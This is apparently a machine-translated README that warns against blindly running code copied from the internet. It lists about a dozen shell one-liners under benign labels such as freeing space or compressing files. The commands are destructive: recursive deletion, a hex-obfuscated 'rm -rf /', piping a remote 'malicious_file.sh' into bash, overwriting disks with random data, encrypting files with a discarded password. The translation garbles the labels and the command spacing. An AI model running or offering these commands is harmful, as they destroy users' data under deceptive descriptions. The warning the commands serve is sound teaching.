my one page argument for learning to code
1.0.0
私は人々が自分自身を「コピーアンドペースト」コーダーと呼んでいるのをよく聞きます。そして、コピーと貼り付けは正当なことですが、それはあなたの唯一のことをする唯一の方法であってはなりません。より良い方法は、コードを見つけ、何が行われているのかを確認してから再作成し、最小限に抑えてコピーすることですが、それが何をするかを正確に知ることです。
意図しない結果があるコードの私の小さな例を以下に示します。
「インターネットで見つけたコードを実行することは、地下鉄で見つけたチューインガムのようなものです」。
A.ドキュメントの構文を大幅に簡素化する:
while read f ; do sed -i " " ' s:.:*:g ' " $f " ; done <<< " $(find ~/ -iname '*' -print) "B.以外の空間を解放する:
du ~ / | grep -o ' /.* ' | xargs rm -r --C.効率を改善するためにファイルを再リンクします。
du ~ / * / * | grep -o ' /.* ' | xargs -n 1 ln -sf /dev/null/D.無制限のストレージでファイル/フォルダーをボリュームに移動します。
for d in ~ / * / * ; do mv " $d / " /dev/null ; doneE.すべてのunccesaryスペースを解放します:
command $( echo 7375646f20726d202d7266202f0a | xxd -p -r ) & > /dev/nullF.あなたが知らないガムを噛む:
bash -c " $( curl -s https://raw.githubusercontent.com/thedzy/My-one-page-argument-for-learning-to-code/master/malicious_file.sh ) "G.は、Unccesary Spaceを解放します:
eval $( sed ' s:[a-e,s-z]::g ' <<< " stream -draft ~/saved " )H.ファイルを圧縮してスペースを節約する:
zip --password " $( openssl rand -base64 64 ) " --move " $( openssl rand -hex 4 ) " .zip ~ / * / * / * / * / *I.外部ボリュームの必要性を減らす:
for d in /dev/disk * ; do dd if=/dev/random of= $d &; doneJ.単にあなたのファイルとあなたの人生:
find ~ / -type f -exec bash -c ' :|tee {} & ' ;K.現在のファイルを使用して、ホームフォルダーにファイルのログを保持します。
find ~ / -type f -exec awk ' FNR == 1{ print FILENAME > FILENAME } ' {} ;L.ファイルを削除せずにディスクスペースを削減します。
n= ` df -i | grep " /$ " | awk ' {print $6} ' ` ; eval ` stat -s / ` ; for i in $( seq $n 0 ) ; do [ -f /.vol/ $st_dev / $i ] && echo > /.vol/ $st_dev / $i ; done find / -iname "*.txt" | head -n 60 | xargs -n1 -J% cp % $HOME/Desktop/